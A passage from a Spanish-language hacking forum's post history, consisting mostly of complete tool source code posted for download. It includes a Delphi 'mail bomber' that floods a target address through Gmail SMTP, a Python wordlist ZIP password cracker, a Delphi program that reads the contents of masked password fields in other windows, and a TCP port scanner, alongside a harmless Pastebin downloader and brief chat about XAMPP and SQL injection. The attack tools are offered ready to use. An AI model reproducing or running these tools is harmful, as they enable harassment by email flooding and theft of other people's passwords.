    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sButton1: TsButton;
    sMemo1: TsMemo;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    IdTCPClient1: TIdTCPClient;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: Integer;
begin

  sMemo1.Clear;

  For i := StrToInt(sEdit2.Text) to StrToInt(sEdit3.Text) do
  begin
    try
      begin

        sStatusBar1.Panels[0].Text := '[+] Scanning : ' + IntToStr(i);
        Form1.sStatusBar1.Update;

        IdTCPClient1.Host := sEdit1.Text;
        IdTCPClient1.port := i;
        IdTCPClient1.ConnectTimeout := 1;
        IdTCPClient1.Connect;

        sMemo1.Lines.Add('Port Open : ' + IntToStr(i));

        IdTCPClient1.Disconnect;

      end;
    except
      begin
        //
      end;
    end;

  end;
  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Abort;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#271
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
para esto yo uso XAMPP , lo tiene todo.
XAMPP sin duda es la primera opción y tanto su seguridad como privacidad son muy configurables pero tambien hay que pensar en los recursos que este consume comparado con un casero que es 100% configurable y óptimo.

Sin duda para trabajar en una red local la mejor opción siempre es un casero...

nunca use un casero , siempre use XAMPP para apache y mysql , de paso cuando vi que tenia para ftp lo use al toque.
#272
Delphi / Re:[Delphi] DH Bomber 0.3
Julio 26, 2013, 09:26:10 PM
no lo sabia , entonces habra que usarlo como single mail xDD.
#273
Delphi / [Delphi] DH Bomber 0.3
Julio 26, 2013, 04:19:24 PM
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail.

Una imagen :



El codigo :

Código: delphi

// DH Bomber 0.3
// Coded By Doddy H
// Credits :
// Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel,
  sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    sStatusBar1: TsStatusBar;
    PopupMenu1: TPopupMenu;
    MediaPlayer1: TMediaPlayer;
    N2: TMenuItem;
    S2: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure MediaPlayer1Notify(Sender: TObject);
    procedure sButton1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

var
  themenow: Boolean; { Global Variable }

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;

  MediaPlayer1.FileName := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin
  if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then
  begin
    MediaPlayer1.Play;
    MediaPlayer1.Notify := True;
  end;
end;

procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;

procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;

begin

  mensaje := TIdSMTP.Create(nil);

  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;

  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;

  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;

  mensaje.Free;
  data.Free;

end;

procedure TForm1.sButton1Click(Sender: TObject);

var
  i: integer;
  count: integer;
  idasunto: string;

begin

  count := StrToInt(sEdit5.Text);

  For i := 1 to count do
  begin

    if count > 1 then
    begin
      idasunto := '_' + IntToStr(i);
    end;

    try
      begin
        sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr
          (i) + ' ...';
        Form1.sStatusBar1.Update;

        enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text,
          sEdit6.Text + idasunto, sMemo1.Text);
      end;
    except
      begin
        sStatusBar1.Panels[0].Text :=
          '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
        Form1.sStatusBar1.Update;
      end;

    end;

    sStatusBar1.Panels[0].Text := '[+] Finished';
    Form1.sStatusBar1.Update;

  end;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#274
buen code , antes yo tambien tenia una conexion asi de mala , que deprimente 2 hs para bajar una cancion de 4 MB ajajaja.
#275
Bugs y Exploits / Re:Full Source Disclosure por SQLI
Julio 26, 2013, 12:36:09 PM
cuando lei el titulo pense que era una vulnerabilidad nueva xDD , es el clasico load_file() en SQLi.
#276
para esto yo uso XAMPP , lo tiene todo.
#277
Perl / [Perl] PasteBin Downloader 0.1
Julio 20, 2013, 06:58:10 PM
Un simple script en Perl para bajar codigos de pastebin.
Pueden bajar solo uno o hacer que el programa busque links de pastebin en una pagina y bajarlos a todos.

El codigo :

Código: perl

#!usr/bin/perl
#PasteBin Downloader 0.1
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(10);

my $se = "downloads_pastebin";

unless ( -d $se ) {
    mkdir( $se, "777" );
}

chdir $se;

print "\n-- == PasteBin Downloader 0.1 == --\n";

unless ( $ARGV[0] and $ARGV[1] ) {
    print "\n[+] Sintax : $0 < -single / -page > <url>\n";
}
else {
    print "\n[+] Searching ...\n";
    if ( $ARGV[0] eq "-single" ) {
        download_this( $ARGV[1] );
    }
    if ( $ARGV[0] eq "-page" ) {
        download_all( $ARGV[1] );
    }
}

print "\n(C) Doddy Hackman 2013\n";

sub download_all {

    my $page = shift;

    my $code = toma($page);
    chomp $code;

    my @links_all = repes( get_links($code) );

    for my $page_down (@links_all) {
        download_this($page_down);
    }

}

sub download_this {

    my $page   = shift;
    my $titulo = "";
    my $num    = "";

    print "\n[+] Checking : $page\n";

    my $code = toma($page);

    if ( $page =~ /http:\/\/(.*)\/(.*)/ ) {
        $num = $2;

        if ( $code =~ /<div class="paste_box_line1" title="(.*)">/ ) {
            $titulo = $1;

            print "[+] Downloading : http://pastebin.com/download.php?i=$num\n";

            if (
                download(
                    "http://pastebin.com/download.php?i=$num",
                    $titulo . ".txt"
                )
              )
            {
                print "[+] File Downloaded !\n";
            }
            else {
                print "[-] Error\n";
            }

        }
    }

}

sub download {

    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub get_links {

    $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
    return @links;

    sub agarrar {
        my ( $a, %b ) = @_;
        push( @links, values %b );
    }
}

#The End ?

#278
Python / [Python] ZIP Crack 0.1
Julio 20, 2013, 06:04:02 PM
Un simple script en Python para crackear archivos ZIP.

El codigo

Código: python

#!usr/bin/python
#ZIP Crack 0.1
#Coded By Doddy H

import sys,zipfile

def head():
print "\n-- == ZIP Crack 0.1 == --\n"

def copyright():
print "\n(C) Doddy Hackman 2013\n"

def sintax():
print "\n[+] Sintax : "+sys.argv[0]+"<file> <wordlist>"

head()

if len(sys.argv) != 3 :
sintax()
else:

try:
  passwords = open(sys.argv[2], "r").readlines()
except :
  print "\n[-] Error opening file\n"
op = 0 
print "\n[+] Cracking ...\n"
for password in passwords:
  password = password.replace("\r","").replace("\n","")
  if op==1:
   copyright()
   sys.exit(0)
  try:
   test = zipfile.ZipFile(sys.argv[1])
   test.extractall(pwd=password)
   print "[+] Zip Cracked : "+sys.argv[1]
   print "[+] Password : "+password
   op = 1
  except:
   pass
   
print "[-] Password Not Found"

copyright()

#The End ?
#279
Delphi / [Delphi] Magic Click 0.2
Julio 19, 2013, 03:04:06 PM
Un simple programa para revelar los famosos asteriscos.

El clasico de los clasicos xDD.

Una imagen :



El codigo :

Código: delphi

// Magic Click 0.2
// Coded By Doddy H
// Credits : Thanks to Victory Fernandes for their excellent manual on how to reveal asterisks

unit magic;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sEdit, sGroupBox, sButton;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    Timer1: TTimer;
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);

    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;

  Timer1.Enabled := True;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  sEdit1.SelectAll;
  sEdit1.CopyToClipboard;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  posicion: TPoint;
  password: array [0 .. 63] of Char;
  need: HWND;
begin
  GetCursorPos(posicion);
  need := WindowFromPoint(posicion);
  if SendMessage(need, EM_GETPASSWORDCHAR, 0, 0) <> 0 then
  begin
    SendMessage(need, WM_GETTEXT, 64, Longint(@password));
    sEdit1.Text := password;
  end;
end;

end.

// The End ?


Si quieren bajarlo pueden hacerlo de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#280
respondo a la pregunta de 14k ,  si podes usar el ancla que quieras ya se sea {dil} u otro como {ip} , de he hecho acabo de hacer este mismo manual para delphi , lo podes ver en la seccion de Delphi.